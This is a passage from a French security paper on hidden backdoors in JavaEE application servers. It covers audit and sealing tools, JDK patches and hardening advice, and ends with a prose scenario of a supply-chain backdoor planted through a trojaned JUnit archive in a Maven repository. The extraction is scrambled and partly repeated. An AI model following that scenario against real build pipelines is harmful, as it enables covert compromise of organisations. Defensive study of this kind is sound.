ajoutant des parametres permettant drsquoeviter la selection dynamique de lrsquoimplementation
16 httpmacaron-policygooglecodecom
444 Porte derobee dans les serveurs drsquoapplications JavaEE
-DjavaxxmlparsersSAXParserFactory =
comsunorgapachexercesinternaljaxpSAXParserFactoryImpl
-DjavaxxmlparsersDocumentBuilderFactory =
comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl
Il est preferable drsquoutiliser les patchs proposes
Vous nrsquoetes pas oblige de faire confiance aux prestataires de services ou aux SSIIVous devez imposer lrsquoutilisation de la securite Java2 des les phases de developpementSinon la tache de qualification des privileges sera trop importante et le prestatairearrivera a vous convaincre de supprimer la securite
Utilisez egalement les mecanismes proposes par le systeme drsquoexploitation pourreduire les risques Par exemple lrsquoutilisateur en charge du lancement du serveurdrsquoapplication ne doit pas avoir de droit en ecriture sur les repertoires de ce derniersauf pour les repertoires de travail
7 Scenario du pire
Au vue de toutes ces attaques nous pouvons imaginer un scenario credible quiest a notre avis le plus discret possible
Imaginons Jerome K un developpeur inconvenant drsquoune SSII participant a unprojet Web pour le compte drsquoune banque Soucieux de la securite cette derniere a misen place de nombreux filtres pour la renforcer Le code source est audite a la main les hashs SHA des archives sont verifiees au sein des WAR le developpement nrsquoapas acces a la production le code est recompile dans un environnement inaccessiblea lrsquoequipe de developpement en utilisant un repository Maven interne de referenceLe code est scelle et nrsquoutilise pas les annotations pour declarer les Servlets ou lesfiltres car le fichier webxml doit avoir le parametre metadata-complete Les classesannotees de ServletFilter Servlet ou autres ne doivent pas etre presentes et sontidentifiees par les outils drsquoaudits Le code srsquoexecute avec la securite java active Unmecanisme de teinture des variables est utilise dans la JVM pour eviter les injectionsSQL LDAP XSS CSRF etc Un pare-feu applicatif possede une liste blanche desrequetes possibles de lrsquoapplication avec une liste precise de tous les champs avecleurs types et leurs contraintes Bien entendu un pare-feu reseau nrsquoautorise que lescommunications HTTP et HTTPS via un reverse-proxy
Pour introduire la porte derobe Jerome K le pirate decide drsquointervenir surlrsquoarchive Junitjar En effet cette derniere presente deux avantages Elle est mondiale-ment connue et donc de confiance et elle ne sert que pour les tests unitaires doncelle ne presente pas de risque en production
P Prados 445
La version modifiee de cette archive doit remplacer la version du referentiel delrsquoentreprise Pour obtenir cela Jerome K demande de lrsquoaide a Adrian L lrsquoadministra-teur ayant le droit de modifier le referentiel Il lui demande de compiler un code javaen utilisant une archive piegee avec un processeur JSR269 Lors de la compilation surle poste de lrsquoadministrateur le fichier Junitjar du repository Maven et sa signatureSHA sont modifies en toute discretion La date du fichier indique une periode ouJerome K nrsquoetait pas present Il nrsquoest meme pas necessaire drsquoexecuter le programmeSeul le resultat de la compilation est sujet a discussion entre Jerome K et Adrian Lpour demander des eclaircissements sur un message drsquoerreur
Jerome K ajoute a lrsquoarchive JUnit un processeur compatible JSR269 afin depouvoir intervenir lors drsquoune compilation Ce processeur ajoute du code lors de lacompilation mais uniquement si celle-ci est effectuee sur la machine srsquooccupantdu build final (detection par sous-reseau) Ainsi rien nrsquoest visible dans toutes lesgenerations produites en phase de debug ou de qualification Le processeur nrsquoestpas utilisable lors drsquoune compilation avec Eclipse Lors de la compilation finale duprogramme par Ant ou Maven le processeur ajoute un ResourceBundle un BeanInfoou plus discretement injecte du code directement dans un fichier classe produit parle compilateur Il ajoute egalement dans un repertoire charge en classes les classescomplementaires pour les agents de la porte derobee Le processus de build invoquesans le savoir le processeur present dans Junit et modifie les classes produites sansmodifier les sources
Aucune librairie utilisee par lrsquoapplication nrsquoest modifiee Un audit du source nedonne rien ni la verification des hashs SHA des composants Aucune annotationsensible nrsquoest presente macaron-audit sur le fichier WAR ne signale rien non pluscar lrsquoattaque est specifique a un projet
En production le code injecte recupere le ServletContext soit directement lors delrsquoexecution du code injecte soit via une variable de thread comme le propose SpringPuis il ajoute dynamiquement un filtre JavaEE via les API Servlet 30 Ainsi lefichier webxml nrsquoa pas ete modifie et il nrsquoexiste pas drsquoannotations sensibles
Le filtre reste inactif pendant un mois afin de ne rien reveler Puis il se met aaccepter un mot de passe a usage unique changeant toutes les heures Sur la presencede ce mot de passe dans une requete POST la porte est ouverte Comme la portederobee utilise des requetes standards avec des champs connus le pare-feu applicatifne voit rien drsquoanormal Le trafic reseau etant standard et raisonnable en volume rienne clignote dans le pare-feu reseau
Pour communiquer avec la porte derobee Jerome K utilise une connexion anonymecomme TOR ou un proxy ouvert Pour eviter une reconstitution du trafic reseau lacommunication avec la porte derobee srsquoeffectue avec un algorithme de chiffrement
446 Porte derobee dans les serveurs drsquoapplications JavaEE
dont la clef change regulierement Comme le code de la porte derobee nrsquoindique pasles objectifs de lrsquoattaque il sera plus difficile de connaıtre les motivations de JeromeK en cas de decouverte
Par hasard lrsquoadministrateur Serge H decouvre un nombre anormal de requetesvers certaines pages pour la meme session Est-ce un code AJAX du projet Est-ceautre-chose Ayant eu la chance drsquoavoir enregistre toutes les requetes POST ildecouvre une utilisation etrange drsquoun des champs Les requetes sont toutes semblablessauf pour un seul champ Lrsquoouverture semble avoir commencee avec un mot specialdans ce dernier Il essaye lui-meme cette valeur mais cela ne donne rien Il ne sert arien de la detecter dans le pare-feu car la clef change toutes les heures
Il essaye de reconstituer la communication qui semble etre codee en b64 ou hexamais cela ne donne rien Elle est cryptee Il aurait fallu avoir une trace de toutes lesreponses pour comprendre les actions de Jerome K Il ne sert a rien de renforcer lesverifications des champs sur la page utilisee car le pirate peut exploiter toutes lespages du serveur ce que confirment drsquoautres traces a un autre moment
Comme il le presageait les adresses IP sources ne donnent rien Elles changent etviennent de tous les coins du monde
Kevin M un expert en securite est mandate avec pour objectif de bloquerrapidement la porte de decouvrir comment elle a ete injectee et par qui
Le code est a nouveau audite pour essaye de decouvrir drsquoou vient le probleme Lessources et les archives ne revelent rien Il faut decompiler tout le code pour decouvrirla porte derobee Mais drsquoou vient-elle Ce nrsquoest pas dans les sources ni dans lescomposants Kevin M recupere le tout et recompile sur un poste isole La porte nrsquoestpas presente dans le WAR final Etrange Finalement il refait un build depuis laplate-forme de qualification et decouvre que la porte derobee est automatiquementinjectee Il recherche une faille sur cette plate-forme sans resultat Il redeploie laplate-forme avec les fichiers sources originaux meme resultat la porte est present Ilutilise un autre serveur vierge du meme sous-reseau recupere les sources et recompileLa porte est toujours presente
De guerre lasse il utilise a nouveau macaron-audit mais cette fois sur toute laplate-forme et non uniquement sur le WAR produit Il decouvre alors un serviceetrange dans Junit archive negligee lors de la verification des hashs car elle nrsquoest paspresente en production Remontant alors la piste il decouvre que la version de Junitdans le repository a ete deposee par Adrian L lrsquoadministrateur il y a plusieurs moisCe dernier homme de confiance soupconne qursquoil ait ete victime drsquoun virus ou drsquouncheval de Troie mais ignore comment cela a pu se produire Un audit de son postene revele rien drsquoanormal
P Prados 447
Pour corriger le probleme Kevin M decide de restituer lrsquoarchive originale deJunit et de renforcer la securite du referentiel Maven de lrsquoentreprise Une signaturenumerique est ajoutee a chaque archive La procedure de qualification est renforceeUn macaron-audit sera dorenavant entrepris sur tout le projet Les compilations serontdorenavant toujours effectuees avec le parametre -proc none Kevin M est incapabledrsquoidentifier le pirate Il sait simplement qursquoil a du etre present dans lrsquoentreprise etdoit certainement connaıtre le projet
Ce scenario fonctionne avec les Servlet 30 et un JDK6+ Crsquoest a dire que plus lestechnologies progressent plus il est facile drsquoinjecter une porte derobee
8 Conclusion
Nous avons demontre qursquoil est possible en utilisant differentes techniques de piegesdrsquoinjections de code ou drsquoexploitations de privileges drsquoajouter une porte derobeeinvisible dans un projet JavaEE Nous avons identifie les strategies drsquoattaques etpropose des solutions pour reduire les risques Trois utilitaires permettent drsquoeffectuerun audit du code de le renforcer et drsquoextraire les rares privileges a accorder
httpmacarongooglecodecom
Dans lrsquoideal il faut faire evoluer la culture Java pour que les projets utilisent lescellement de tous leurs packages et travaillent systematiquement avec la securiteJava2 lors des phases de developpement
A ce jour le seul moyen drsquointerdire toutes les attaques identifiees est ndash drsquoutiliser la securite Java2ndash de sceller toutes les archives ndash drsquoutiliser les patchs pour ResourceBundle et ServiceLoader ndash de compiler avec le parametre -procnone
ndash et de ne pas utiliser lrsquoAOPLa signature des archives et lrsquoaudit humain est egalement un moyen de proteger
les referentiels Java offre des solutions de signature mais elles sont peu utiliseesPour une plus grande securite il faut les exploiter
434 Porte derobee dans les serveurs drsquoapplications JavaEE
Le rapport XML est consultable dans un navigateur grace a une feuille de stylespecifique permettant la navigation dans les resultats
Fig 14 Audit
Grace a la feuille de style lrsquoimpression de cette page presente tous les resultatsLrsquoexperience montre qursquoil y a effectivement des classes similaires dans plusieurs
archives differentes du meme projet des noms de fichiers identiques present a differentsendroits etc
ltpackages gt
ltpackage
name=orgaspectjinternallangannotationgt
ltcontext gtaspectjweaver -161 jarltcontext gt
ltcontext gtaspectjrt -160 jarltcontext gt
ltpackage gt
ltpackages gt
Pour eviter les faux positifs un parametre permet drsquoindiquer des regles drsquoexclusionsComme le format du fichier des regles drsquoexclusions est strictement identique au fichierde resultat drsquoune analyse il est possible drsquoeffectuer un premier tir sur une instancede confiance ou limitees aux archives saines du projet et drsquoutiliser le resultat pour lestirs suivant Ainsi seules les nouvelles alertes seront exposees
$ macaron -audit --output ignorexml MonComposantear
$ macaron -audit --ignore ignorexml
-output auditxml
MonComposantear
P Prados 435
Certains fichiers sont presents en nombre dans les archives Ils peuvent etre exclusglobalement
ltfilenames gt
ltfilename name=MANIFESTMF gt
ltfilename name=INDEXLIST gt
ltfilename name=packagehtml gt
ltfilenames gt
Cette approche presente le risque de cacher une attaque eventuelle car les exclusionsne sont pas associees a des archives specifiques
Il est preferable de selectionner judicieusement les archives a utiliser dans leprojet pour eviter les faux-positifs Par exemple avec Maven il est possible drsquoexclurecertaines dependances malheureuses
ltdependency gt
ltgroupId gtorgspringframework ltgroupId gt
ltartifactId gtspring -aspects ltartifactId gt
ltversion gt255ltversion gt
ltexclusions gt
ltexclusion gt
ltgroupId gtorgaspectj ltgroupId gt
ltartifactId gtaspectjrt ltartifactId gt
ltexclusion gt
ltexclusions gt
ltdependency gt
Les dependances declarees entrainent la presence de packages identiques dansdeux archives differentes Lrsquoune est incluse dans lrsquoautre Il est preferable de supprimerdu projet lrsquoarchive aspectjrt que drsquoajouter des exceptions dans le fichier ignorexml
Lrsquooutil drsquoaudit permet de se focaliser sur les differents pieges possibles mais passur les techniques drsquoinjections de code lors de lrsquoanalyse drsquoune requete HTTP Celadoit etre controle par lrsquoutilisation de la securite Java2
54 Defense active
Pour eviter le risque de surcharge de classe ou le contournement des privilegesaccordes aux packages Java propose deux mecanismes14
Le premier permet drsquointerdire la consultation ou lrsquoajout de classes dans certainspackages (les packages java et sun par exemple) Ce mecanisme est mis en placepar la valorisation de deux variables drsquoenvironnement systeme de la JVM (pack-agedefinition et packageaccess) Tomcat utilise cela pour proteger les classes duserveur drsquoapplication vis a vis des classes des composants applicatifs (voir le fichiercatalinaproperties)
14 httpjavasuncomdeveloperJDCTechTips2001tt0130html
436 Porte derobee dans les serveurs drsquoapplications JavaEE
Le deuxieme mecanisme permet drsquointerdire a des classes drsquoun meme package drsquoetrepresentes dans des archives differentes Cela srsquoeffectue par un parametre dans lefichier MANIFESTMF Si ce dernier possede le parametre Sealed true tous lespackages de lrsquoarchive sont proteges Il est egalement possible de sceller les packagesindividuellement15 Ces verifications ne sont effectuees que si la securite Java2 estactivee
En placant les fichiers properties dans les memes repertoires que les classes duprojet (ce qui est fortement conseille) il nrsquoest plus possible drsquoajouter une classe pourdetourner le flux de traitement lors de la consultation drsquoun ResourceBundle
Si les fichiers properties sont dans des repertoires sans aucune classe il ne serta rien de les sceller Le scellement ne concerne que les classes
Pour sceller une archive avec Maven2 il faut ajouter dans le fichier pomxml lesinstructions suivantes
ltbuildgt
ltplugins gt
ltplugin gt
ltartifactId gtmaven -jar -plugin ltartifactId gt
ltconfiguration gt
ltarchive gt
ltmanifestEntries gt
ltSealed gttrueltSealed gt
ltmanifestEntries gt
ltarchive gt
ltconfiguration gt
ltplugin gt
ltplugins gt
ltbuildgt
Comme la tres grande majorite des archives Open Source ne sont pas scellees ilfaut les modifier pour ajouter les protections necessaires Une etude sur pres de millecomposants montre que moins drsquoun pour-mille est scelle etou signe
Nous proposons un utilitaire srsquooccupant drsquoajouter lrsquoattribut Sealed true a tousles composants et toutes les librairies (httpmacarongooglecodecom)
$ macaron -seal --in -place MonComposantear
Cette commande scelle tous les packages de toutes les archives du composantLes fichiers META-INFMF des librairies presentes dans le repertoire WEB-INFlib desfichiers war et les librairies des EJBs sont modifies pour sceller tous les packages
Pour plus drsquoinformations invoquez lrsquoaide
$ macaron -seal --help
15 httpjavasuncomj2se13docsguideextensionsspechtmlsealing
P Prados 437
Il est possible drsquoappliquer recursivement ce scellement a un referentiel MavenIl faut alors adapter en meme temps les hashs SHA1 srsquoils sont presents Ces hashspeuvent etre verifies lors du telechargement drsquoun composant dans le cache local
$ macaron -seal --in -place --sha1 -R m2repository
De meme pour un repository Ivy
$ macaron -seal --in -place -R ivy2cache
Le resultat drsquoun audit precedant peut servir a exclure des packages du processusAinsi il est facile de renforcer une instance du serveur Tomcat par exemple endemandant un audit du code puis en scellant les packages ne presentant pas deproblemes
$ macaron -audit --output audit -tomcatxml
-R $CATALINA_HOME
$ macaron -seal --ignore audit -tomcatxml
-R $CATALINA_HOME --in -place
Ces deux commandes peuvent srsquoeffectuer en une seule fois a lrsquoaide de pipe
$ macaron -audit --output - -R $CATALINA_HOME |
macaron -seal --ignore - -R $CATALINA_HOME --in-place
La version de Tomcat durcie possede des archives scellees sauf pour les quelquespackages partages par differentes archives Lors de lrsquoutilisation de la securite Java2elle est plus resistante aux pieges
$ $CATALINA_HOMEbincatalinash run -security
Cette approche interdit une partie des injections de code de type ResourceBundleLes ResourcesBundles presents dans des repertoires ou il nrsquoy a pas drsquoautres classessont toujours vulnerables
Il est egalement possible drsquoavoir un audit signalant les packages scelles Le resultatest un fichier XML avec une feuille de style XSLT pour une consultation dans unnavigateur
$ macaron -seal --audit sealedxml MonComposantwar
$ firefox sealedxml
438 Porte derobee dans les serveurs drsquoapplications JavaEE
55 Reduction du risque des META-INFservices
La securite Java2 permet drsquoautoriser des classes a effectuer certains traitementsElle permet egalement de determiner les privileges drsquoune classe avant son utilisation
Pour reduire le risque drsquoune utilisation malveillante de services nous proposonsdrsquoapporter quelques modifications a la classe javautilServiceLoader du JDK6 etsuivant
Cette classe normalise lrsquoutilisation des services et propose une API pour recuperertoutes les implementations drsquoune interface
Lrsquoimplementation actuelle ne verifie aucun privilege pour lrsquoinstallation drsquoun nou-veau service Nous proposons drsquoajouter la classe javautilServicePermission et drsquoa-jouter la verification du privilege associe lors de lrsquoinstallation drsquoun nouveau servicedans la classe ServiceLoader
if (SystemgetSecurityManager ()=null)
final Permission perm=
new ServicePermission(servicegetName ())
AccessControllerdoPrivileged(
new PrivilegedAction ltObject gt()
public Object run()
if (clazzgetProtectionDomain ()implies(perm))
throw new AccessControlException(
install service denied perm perm)
return null
)
Lrsquoajout de ce test permet de srsquoassurer que lrsquoarchive proposant drsquoajouter un nouveauservice en a le privilege Seul le CodeBase implementant le service doit posseder leprivilege Lrsquoappelant du service nrsquoen a pas besoin
Un patch en ce sens est propose a la communaute Ce dernier modifie egalement lesclasses des packages javaxxml et orgw3c pour qursquoelles utilisent ServiceLoader
De nombreuses autres classes du JDK utilisent le mecanisme de services sansutiliser la classe ServiceLoader Elles sont toujours vulnerables Il srsquoagit des classesdes packages suivants
ndash comsunndash orgrelaxingdatatype
ndash sunmisc
P Prados 439
Il faut egalement proceder de meme pour les classes de JavaEE Un diffstat surles modifications indique lrsquoetendue de la mise a jour et les classes impactees
j2sesrc javautilServiceLoaderjava | 42 +-
j2sesrc javautilServicePermissionjava | 74 ++++
j2sesrc javaxxmlbindContextFinderjava | 66 ---
j2sesrc javaxxmldatatypeFactoryFinderjava | 85 ----
j2sesrc javaxxmlparsersDocumentBuilderFactoryjava | 12
j2sesrc javaxxmlparsersFactoryFinderjava | 94 -----
j2sesrc javaxxmlparsersSAXParserFactoryjava | 17
j2sesrc javaxxmlsoapFactoryFinderjava | 39 --
j2sesrc javaxxmlstreamFactoryFinderjava | 84 ----
j2sesrc javaxxmltransformFactoryFinderjava | 86 ----
j2sesrc javaxxmlvalidationSchemaFactoryFinderjava | 36 +
j2sesrc javaxxmlwsspiFactoryFinderjava | 56 +--
j2sesrc javaxxmlxpathXPathFactoryFinderjava | 182 +---------
j2sesrc orgw3cdombootstrapDOMImplementationRegistryjava | 45 --
15 files changed 283 insertions (+) 646 deletions(-)
Ainsi pour pouvoir installer un nouveau service il faut avoir declare le privilegecorrespondant dans le projet
grant
permission javautilServicePermission
javaxxmlparsersSAXParserFactory
En attendant lrsquointegration de la modification dans le JDK il faut ajouter unparametre au chargement de la machine virtuelle
$ java -Xbootclasspathppatch -ServiceLocator -6jar
Une approche similaire est envisageable pour le JDK5 mais nrsquoa pas ete implementeecar la classe ServiceLoader nrsquoest pas presente
Si vous ne souhaitez pas utiliser le patch indiquez en variable systeme tous lesanalyseurs utilises
-DjavaxxmlparsersSAXParserFactory =
comsunorgapachexercesinternaljaxpSAXParserFactoryImpl
-DjavaxxmlparsersDocumentBuilderFactory =
comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl
De plus pour eviter toute ambiguıte Tomcat 6x devrait etre modifie pour utiliserle parseur XML du serveur drsquoapplication lors de lrsquoanalyse des fichiers TLDs a laplace du parseur livre par le composant WEB Cela a ete signale (CVE-2009-0911)par nos soins et sera pris en compte dans une prochaine version de Tomcat
440 Porte derobee dans les serveurs drsquoapplications JavaEE
56 Reduction du risque des ResourcesBundles
Pour reduire le risque drsquoexecution invisible de code lors de lrsquoutilisation desressources il faut modifier lrsquoalgorithme de resolution des ResourcesBundles
Fig 15 Nouveau RessourceBundle
La nouvelle version de lrsquoalgorithme recherche en priorite les fichiers propertiesavant de rechercher les classes Si un seul fichier properties existe les classes ne sontpas recherchees Cette legere modification de la semantique doit etre pratiquementinvisible Malgre nos recherches nous nrsquoavons jamais rencontre de situation ou unfichier properties doit legitimement etre surcharge par une classe
Il est possible drsquoavoir un apercu des impacts en consultant le resultat de cette page httpwwwgooglecomcodesearchq=extends+PropertyResourceBundle+lang
3Ajava
Nous proposons un correctif de la classe ResourceBundle pour le JDK5 Lrsquoarchivepatch-ResourceBundle-5jar propose une modification de la classe standard deJava Pour lrsquoutiliser il faut ajouter un parametre au chargement de la machinevirtuelle
$ java -Xbootclasspathppatch -ResourceBundle -5 jar
Le JDK6 offre de nouvelles fonctionnalites pour lrsquoutilisation des RessourcesBundlesvia une refonte totale de cette classe En outre il est possible de specifier un objet encharge de gerer le chargement des ressources Nous proposons le singleton suivantpermettant drsquoordonner le chargement des ressources
static final ResourceBundleControl securityControl =
new ResourceBundleControl ()
private ConcurrentHashMap ltString String gt
cacheType=
new ConcurrentHashMap ltString String gt()
public List ltString gt getFormats(String baseName)
return CollectionsunmodifiableList(
P Prados 441
ArraysasList(securityorder))
public ResourceBundle newBundle(String baseName
Locale locale
String format ClassLoader loader
boolean reload)
throws IllegalAccessException
InstantiationException IOException
ResourceBundle bundle=null
if (formatequals(securityorder))
String lastFormat=cacheTypeget(baseName)
if (lastFormat ==null)
bundle=supernewBundle(baseName locale
javaproperties
loader reload)
if (bundle =null)
cacheTypeput(baseName javaproperties)
else
cacheTypeput(baseName javaclass)
bundle=supernewBundle(baseName locale
javaclass
loader reload)
else
bundle=supernewBundle(baseName locale
lastFormat
loader reload)
return bundle
public boolean needsReload(String baseName
Locale locale
String format
ClassLoader loader
ResourceBundle bundle
long loadTime)
boolean result=
superneedsReload(baseName locale
format loader bundle loadTime)
if (result)
cacheTyperemove(baseName)
return result
Il doit etre utilise a chaque invocation de RessourceBundle
442 Porte derobee dans les serveurs drsquoapplications JavaEE
ResourceBundlegetBundle(Messages securityControl)getString(key)
Comme cette approche nrsquoest pas utilisee systematiquement par les projets ilest preferable drsquoenvisager un patch du JDK6 Lrsquoarchive patch-ResourceBundle-6jarpropose une modification de la classe standard de Java Les modifications sontminimes
Un diffstat indique lrsquoetendu des modifications
ResourceBundlejava | 108 +++++++++++++++++++++++++++-------------------------
1 file changed 58 insertions (+) 50 deletions(-)
Lrsquoalgorithme recherche une ressource format par format et non tous les formatsa la fois Lrsquoordre par defaut des formats est egalement modifie pour privilegier leformat javaproperties avant le format javaclass Pour utiliser le patch il faut ajouterun parametre au chargement de la machine virtuelle
$ java -Xbootclasspathppatch -ResourceBundle -6 jar
Si un utilisateur souhaite melanger des ressources au format properties et desressources au format class il doit nrsquoutiliser que le format class et simuler alors leformat properties
mv sampleproperties sampleprop
public static class sample extends PropertyResourceBundle
public sample () throws IOException
super(sampleclassgetResourceAsStream(
rsquorsquo+sampleclassgetName ()
replace(rsquorsquorsquorsquo)+prop))
6 Conseils pour se proteger
Voici quelques regles de bonnes pratiques pour se proteger autant que possibledes portes derobees generiques
Le premier conseil est drsquoexecuter le serveur drsquoapplications avec la securite Java2activee Il faut ouvrir les privileges pour chaque archive une a une et non globalementpour le composant Ainsi un droit offert a un framework nrsquoest pas disponible pour laporte derobee presente dans une autre archive
P Prados 443
Malheureusement les frameworks indiquent rarement les privileges necessairesSeul un test permet drsquoouvrir au fur et a mesure lrsquoensemble des droits necessaireset uniquement ceux-ci Crsquoest un processus long et complexe car les erreurs lors delrsquoabsence drsquoun privilege ne sont pas toujours explicites Il faut effectuer un test completde lrsquoapplication pour verifier qursquoaucun privilege nrsquoait ete oublie En demandant latrace de tous les privileges refuses il est envisageable de les synthetiser plus facilement
$ export JAVA_OPTS=-Djavasecuritydebug=access failure
$ $CATALINA_HOMEbincatalinash run -security 2gtamp1 | grep ^ access
Les logs indiquent les privileges accordes mais sont difficiles a interpreter
access access allowed (javalangRuntimePermission accessDeclaredMembers)
access access allowed(javaioFilePermissionwebappsbackdoorjee -sample
WEB -INFclassesorgspringframeworkwebservletmvcannotationAnnotation
MethodHandlerAdapterBeanInfoclass read)access access denied (javalang
RuntimePermission defineClassInPackagejavalang)
Pour faciliter cette etape nous proposons une base de donnees des privilegesnecessaires aux composants16 Nous comptons sur les lecteurs pour lrsquoenrichir
Le deuxieme conseil important Ne faites pas confiance aux referentiels Uneattaque sur le referentiel Mavenx par exemple et tous vos projets possedent des portesderobees generiques
Pour srsquoassurer de la bonne sante des composants a deployer effectuez un audit deces derniers et cherchez des explications convaincantes pour toutes les alertes avantde les declarer comme des laquo faux positifs raquo
Enfin testez lrsquoutilisation de la porte derobee de demonstration dans votre projet Ilsuffit drsquoajouter une archive Il nrsquoest pas necessaire de modifier le code de lrsquoapplicationSi les traces du serveur drsquoapplications signalent la reussite de lrsquoinjection modifiezvotre configuration
La securite Java2 nrsquoest pas toujours suffisante Un detournement de la puissancedes frameworks modernes permet egalement de prendre la main sur lrsquoapplicationsans necessiter de privileges Assurez-vous de maitriser tous les risques inherents alrsquoutilisation de ces derniers (Spring AOP etc)
Drsquoautre part pour proteger un attribut contre toute modification meme sans lasecurite Java2 il faut le declarer final Cela devrait etre utilise pour les Singletons etpour tous les attributs sensibles Evitez autant que possible les Singletons drsquoautantplus si la securite Java2 nrsquoest pas active
Nrsquoutilisez jamais de ResourceBundle dans un code privilegie ( AccessControllerdoPrivileged() )Pour se proteger de lrsquoinjection drsquoun analyseur XML il faut demarrer la JVM en
ajoutant des parametres permettant drsquoeviter la selection dynamique de lrsquoimplementation
16 httpmacaron-policygooglecodecom
444 Porte derobee dans les serveurs drsquoapplications JavaEE
-DjavaxxmlparsersSAXParserFactory =
comsunorgapachexercesinternaljaxpSAXParserFactoryImpl
-DjavaxxmlparsersDocumentBuilderFactory =
comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl
Il est preferable drsquoutiliser les patchs proposes
Vous nrsquoetes pas oblige de faire confiance aux prestataires de services ou aux SSIIVous devez imposer lrsquoutilisation de la securite Java2 des les phases de developpementSinon la tache de qualification des privileges sera trop importante et le prestatairearrivera a vous convaincre de supprimer la securite
Utilisez egalement les mecanismes proposes par le systeme drsquoexploitation pourreduire les risques Par exemple lrsquoutilisateur en charge du lancement du serveurdrsquoapplication ne doit pas avoir de droit en ecriture sur les repertoires de ce derniersauf pour les repertoires de travail
7 Scenario du pire
Au vue de toutes ces attaques nous pouvons imaginer un scenario credible quiest a notre avis le plus discret possible
Imaginons Jerome K un developpeur inconvenant drsquoune SSII participant a unprojet Web pour le compte drsquoune banque Soucieux de la securite cette derniere a misen place de nombreux filtres pour la renforcer Le code source est audite a la main les hashs SHA des archives sont verifiees au sein des WAR le developpement nrsquoapas acces a la production le code est recompile dans un environnement inaccessiblea lrsquoequipe de developpement en utilisant un repository Maven interne de referenceLe code est scelle et nrsquoutilise pas les annotations pour declarer les Servlets ou lesfiltres car le fichier webxml doit avoir le parametre metadata-complete Les classesannotees de ServletFilter Servlet ou autres ne doivent pas etre presentes et sontidentifiees par les outils drsquoaudits Le code srsquoexecute avec la securite java active Unmecanisme de teinture des variables est utilise dans la JVM pour eviter les injectionsSQL LDAP XSS CSRF etc Un pare-feu applicatif possede une liste blanche desrequetes possibles de lrsquoapplication avec une liste precise de tous les champs avecleurs types et leurs contraintes Bien entendu un pare-feu reseau nrsquoautorise que lescommunications HTTP et HTTPS via un reverse-proxy
Pour introduire la porte derobe Jerome K le pirate decide drsquointervenir surlrsquoarchive Junitjar En effet cette derniere presente deux avantages Elle est mondiale-ment connue et donc de confiance et elle ne sert que pour les tests unitaires doncelle ne presente pas de risque en production
P Prados 445
La version modifiee de cette archive doit remplacer la version du referentiel delrsquoentreprise Pour obtenir cela Jerome K demande de lrsquoaide a Adrian L lrsquoadministra-teur ayant le droit de modifier le referentiel Il lui demande de compiler un code javaen utilisant une archive piegee avec un processeur JSR269 Lors de la compilation surle poste de lrsquoadministrateur le fichier Junitjar du repository Maven et sa signatureSHA sont modifies en toute discretion La date du fichier indique une periode ouJerome K nrsquoetait pas present Il nrsquoest meme pas necessaire drsquoexecuter le programmeSeul le resultat de la compilation est sujet a discussion entre Jerome K et Adrian Lpour demander des eclaircissements sur un message drsquoerreur
Jerome K ajoute a lrsquoarchive JUnit un processeur compatible JSR269 afin depouvoir intervenir lors drsquoune compilation Ce processeur ajoute du code lors de lacompilation mais uniquement si celle-ci est effectuee sur la machine srsquooccupantdu build final (detection par sous-reseau) Ainsi rien nrsquoest visible dans toutes lesgenerations produites en phase de debug ou de qualification Le processeur nrsquoestpas utilisable lors drsquoune compilation avec Eclipse Lors de la compilation finale duprogramme par Ant ou Maven le processeur ajoute un ResourceBundle un BeanInfoou plus discretement injecte du code directement dans un fichier classe produit parle compilateur Il ajoute egalement dans un repertoire charge en classes les classescomplementaires pour les agents de la porte derobee Le processus de build invoquesans le savoir le processeur present dans Junit et modifie les classes produites sansmodifier les sources
Aucune librairie utilisee par lrsquoapplication nrsquoest modifiee Un audit du source nedonne rien ni la verification des hashs SHA des composants Aucune annotationsensible nrsquoest presente macaron-audit sur le fichier WAR ne signale rien non pluscar lrsquoattaque est specifique a un projet
En production le code injecte recupere le ServletContext soit directement lors delrsquoexecution du code injecte soit via une variable de thread comme le propose SpringPuis il ajoute dynamiquement un filtre JavaEE via les API Servlet 30 Ainsi lefichier webxml nrsquoa pas ete modifie et il nrsquoexiste pas drsquoannotations sensibles
Le filtre reste inactif pendant un mois afin de ne rien reveler Puis il se met aaccepter un mot de passe a usage unique changeant toutes les heures Sur la presencede ce mot de passe dans une requete POST la porte est ouverte Comme la portederobee utilise des requetes standards avec des champs connus le pare-feu applicatifne voit rien drsquoanormal Le trafic reseau etant standard et raisonnable en volume rienne clignote dans le pare-feu reseau
Pour communiquer avec la porte derobee Jerome K utilise une connexion anonymecomme TOR ou un proxy ouvert Pour eviter une reconstitution du trafic reseau lacommunication avec la porte derobee srsquoeffectue avec un algorithme de chiffrement
446 Porte derobee dans les serveurs drsquoapplications JavaEE
dont la clef change regulierement Comme le code de la porte derobee nrsquoindique pasles objectifs de lrsquoattaque il sera plus difficile de connaıtre les motivations de JeromeK en cas de decouverte
Par hasard lrsquoadministrateur Serge H decouvre un nombre anormal de requetesvers certaines pages pour la meme session Est-ce un code AJAX du projet Est-ceautre-chose Ayant eu la chance drsquoavoir enregistre toutes les requetes POST ildecouvre une utilisation etrange drsquoun des champs Les requetes sont toutes semblablessauf pour un seul champ Lrsquoouverture semble avoir commencee avec un mot specialdans ce dernier Il essaye lui-meme cette valeur mais cela ne donne rien Il ne sert arien de la detecter dans le pare-feu car la clef change toutes les heures
Il essaye de reconstituer la communication qui semble etre codee en b64 ou hexamais cela ne donne rien Elle est cryptee Il aurait fallu avoir une trace de toutes lesreponses pour comprendre les actions de Jerome K Il ne sert a rien de renforcer lesverifications des champs sur la page utilisee car le pirate peut exploiter toutes lespages du serveur ce que confirment drsquoautres traces a un autre moment
Comme il le presageait les adresses IP sources ne donnent rien Elles changent etviennent de tous les coins du monde
Kevin M un expert en securite est mandate avec pour objectif de bloquerrapidement la porte de decouvrir comment elle a ete injectee et par qui
Le code est a nouveau audite pour essaye de decouvrir drsquoou vient le probleme Lessources et les archives ne revelent rien Il faut decompiler tout le code pour decouvrirla porte derobee Mais drsquoou vient-elle Ce nrsquoest pas dans les sources ni dans lescomposants Kevin M recupere le tout et recompile sur un poste isole La porte nrsquoestpas presente dans le WAR final Etrange Finalement il refait un build depuis laplate-forme de qualification et decouvre que la porte derobee est automatiquementinjectee Il recherche une faille sur cette plate-forme sans resultat Il redeploie laplate-forme avec les fichiers sources originaux meme resultat la porte est present Ilutilise un autre serveur vierge du meme sous-reseau recupere les sources et recompileLa porte est toujours presente
